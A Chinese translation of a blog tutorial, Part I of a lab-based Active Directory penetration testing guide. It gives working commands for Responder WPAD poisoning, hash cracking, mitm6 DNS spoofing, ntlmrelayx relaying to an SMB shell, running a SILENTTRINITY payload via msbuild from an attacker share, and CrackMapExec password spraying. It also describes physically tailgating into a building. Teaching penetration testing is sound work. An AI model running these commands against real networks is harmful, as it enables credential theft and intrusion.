活动目录渗透试验指南,Part I

secM  2110天前

在进行渗透测试之前,许多客户都会对自身网络的安全性信心满满,原因很简单,漏洞扫描结果显示没有发现严重的漏洞,结果呢,许多时候用不了15分钟,就被我们利用AD中的配置失误拿下了域管理员权限。

在我看来,在渗透测试的教育方面,关于活动目录(AD)方面的讲解还是相当匮乏的。不幸的是,OSCP并不会讲授关于AD渗透测试方面的内容,甚至SANS GPEN课程也很少触及这一领域。本系列文章的目标,就是为读者详细介绍我们工作中利用AD安全漏洞进行渗透测试相关技术、工具和方法,但是限于经验和时间有限,我们很难做到面面俱到。在本系列中,为安全起见,我们将使用Kali Linux2019,通过虚拟机在虚拟域中完成相关的操作。

首先,我们先来明确目标:这里的渗透测试的目标是识别所有潜在的攻击向量,因为对手会想尽一切方法来入侵网络。

既然目标已经明确了,接下来,我们就要设法实现这个目标,为此,我们要遵循如下所示的几个步骤,具体如下图所示。

1.png

Credit: Microsoft

简介:客户雇用您对其网络进行渗透测试,该网络使用了活动目录。除此之外,您一无所有:没有相关凭证,不知道相关的范围,甚至没有门禁卡,不过,您可以设法尾随别人身后,从而绕过门禁系统,然后进入一个有IP电话的隐蔽房间。之后,可以拔掉IP电话,插上笔记本电脑,好了,总算是能够上网了。接下来该怎么办呢?站稳脚跟。

第一阶段:站稳脚跟

由于没有凭证,所以,我们只能进行有限的侦察。记住,侦察几乎会贯穿整个周期的每一步。不过,也不用太过担心,接下来,我们将为读者介绍如何在网络上站稳脚跟。首先,因为我们能够上网,所以,可以通过ifconfig或ipconfig来考察我们所处的子网的相关情况。获取IP后,可以利用nmap执行ping扫描,看看能否可以访问其他设备

nmap -sn 192.168.1.1/24

如果设备有回应,那就来活了。如果没有收到任何信息,则可能是ICMP已被禁用,或者网络上没有其他设备,或者由于您未经身份验证,无法与其他设备通信,此外,也可能是被身份安全解决方案(如Cisco ISE)阻止了。就本文来说,假设我们收到了几台机器的回应,并且可以成功地ping通它们。

工具:Responder

接下来,我们将使用一个名为Responder的工具,对于使用Windows的读者来说,也可以使用Inveigh。这两个工具的作用是检查AD中非常常见的错误配置,从而寻找执行WPAD并引发NBT-NS中毒的机会。在默认配置的情况下,Windows系统在使用Internet时,会搜索Web Proxy Auto-Discovery文件。该配置在组织中非常有用,因为设备需要发送广播来请求代理文件,并接收相应的代理文件。同时,它并不会对发送代理文件的用户进行身份验证,这就给攻击者发送伪造应答提供了机会,这样,就可以请求相关的凭证了。

在Kali系统中,会默认安装Responder软件。

responder -I eth0 --wpad

在Windows7机器上,打开Internet Explorer浏览器,并导航至Google,然后搜索WPAD文件。在Responder中,我看到了相关的请求,实际上,Responder会自动用一个质询来响应该请求,这会导致受害者发送他们的用户名和密码哈希值(NTLMv2格式)。

1.png

有了这个哈希值,我们可以尝试对其进行破解,也可以使用ntlmrelay.py之类的工具对其进行中继。在之前的文章中,我介绍过如何转发NTLM哈希值,所以,这里将介绍如何破解密码的哈希值,因为,这种做法在工作中更为常见。

老实说,我很少在linux/kali机器上破解密码。这里使用的是NVIDIA GPU,在Kali上的驱动安装是个大麻烦,另外,对于Windows系统来说,可以使用HashCatGUI,这款软件用起来非常简便,所以,这里就用它了。我将捕获的哈希值放入一个名为“hash.txt”的文件中,并对试图通过一些单词表/规则进行破解,但在本例中,我们直接使用rockyou.txt对其进行破解,幸运的是,不到一秒钟内就破解成功了。

1.png

我使用的HashCatGUI设置。


1.png

破解出来的密码是“password!”

现在,我们已经成功破解了密码,也就是说,我们得到了下列登陆凭证:

Alice:Password!

在继续介绍其他内容之前,我还想展示一些其他的破解方法,以防Responder无法正常破解。

工具:mitm6

假设客户的网络使用的是有效的WPAD PAC文件,而您的欺骗没有得逞。这时,还有一种技术,可以利用IPv6和DNS将凭证中继到目标。在默认情况下,IPv6协议是处于启用状态的,并且实际上其优先级会大于IPv4协议,这意味着,如果计算机上有IPv6 DNS服务器的话,它会优先使用IPv6服务器,而不是IPv4服务器。另外,默认情况下,Windows计算机会通过DHCPv6请求来查找IPv6 DNS服务器,如果使用伪造的IPv6 DNS服务器进行欺骗,则可以有效地控制设备查询DNS的方式。更多相关的信息,请参见此处

首先,请下载mitm6

git clone https://github.com/fox-it/mitm6.git

cd mitm6

pip install

然后,使用它来检测目标网络工作组。由于之前进行了ping扫描,因此,也会收到NetBIOS的名称,这里显示的目标域是lab.local。

在运行mitm6之前,目标系统的IP设置如下所示:

1.png

请注意这里的DNS服务器

然后,运行mitm6:

mitm6 -d lab.local

1.png

现在,请注意DNS服务器的变化:

1.png

请注意,这个IPv6地址就是DNS服务器的地址。

现在,真正的问题在于,Windows会优先使用IPv6协议,而不是IPv4协议,这就意味着,我现在可以控制DNS服务了。

由于可以通过伪造WPAD应答来控制了DNS,所以,也可以使用ntlmrelayx.py脚本来完成相关的工作。具体配置,请参考这里的介绍。

让mitm6在一个窗口中运行,然后,打开另一个窗口,并运行ntlmrelayx.py脚本。

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i

-wh:托管WPAD文件的服务器(攻击者的IP)

-t:目标系统

-i:打开一个交互式shell

1.png

从现在开始,我们就可以通过netcat连接到shell了,就好像我们获得了一个完全交互的SMB shell一样,此外,我们还可以通过-c(命令)开关来发送Empire stager。实际上,我们的选择范围,主要限制于ntlmrelayx.py所提供的功能。就本例来说,我使用-c命令来执行SILENTTRINITY payload。关于如何使用SILENTTRINITY的介绍,请参考这篇文章

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\fr amework64\v3.5\msbuild.exe \192.168.218.129\SMB\msbuild.xm l'

1.png

但是,在这个例子中,msbuild.exe并没有构建xm l文件,并且也没有回连SILENTTRINITY,实际上,这些都太容易了。相反,我检查自己的SMB服务器,并发现了中继的哈希值。

1.png

然后,将其破解。

1.png

现在,我们无需借助Responder就能成功获得相应的网络凭证了。

工具:CrackMapExec

实际上,对于渗透测试人员来说,CrackMapExec简直就是一把瑞士军刀:从密码喷射到哈希值传递再到命令执行,它简直无所不能。

即使其他方法都失败了,我们还可以尝试密码喷射。这个方法之所以最后才用,是因为密码锁定的缘故。实际上,密码锁定并没有您想象的那么常见,因此,攻击者可以针对特定的用户名使用字典攻击。为此,首先要获取用户名,这个任务可以通过OSINT和theharvester来完成。如果还是没有获得相应的用户名,还可以为CrackMapExec(CME)提供一个用户名表,但是为了节约时间,假设这里的用户名为rsmith。

如果您使用的是Kali系统,并且版本较高的话,则应该已经预装了CrackMapExec软件;否则的话,可以通过下列命令进行安装:

apt-get install crackmapexec

由于我们在扫描过程中识别出了网络上的设备,因此,我们可以向CME提供与用户名配对的密码列表并尝试登录。

crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares

1.png

几秒钟后,密码就找到了。

1.png

密码找到了!

由此来看,季节:年份这种形式,的确是一个非常受欢迎的密码组合。

利用找到的这些凭证,我们就能以常规用户的身份,继续进行下一篇文章中介绍的权限提升测试。

原文地址:https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/

最新评论

昵称
邮箱
提交评论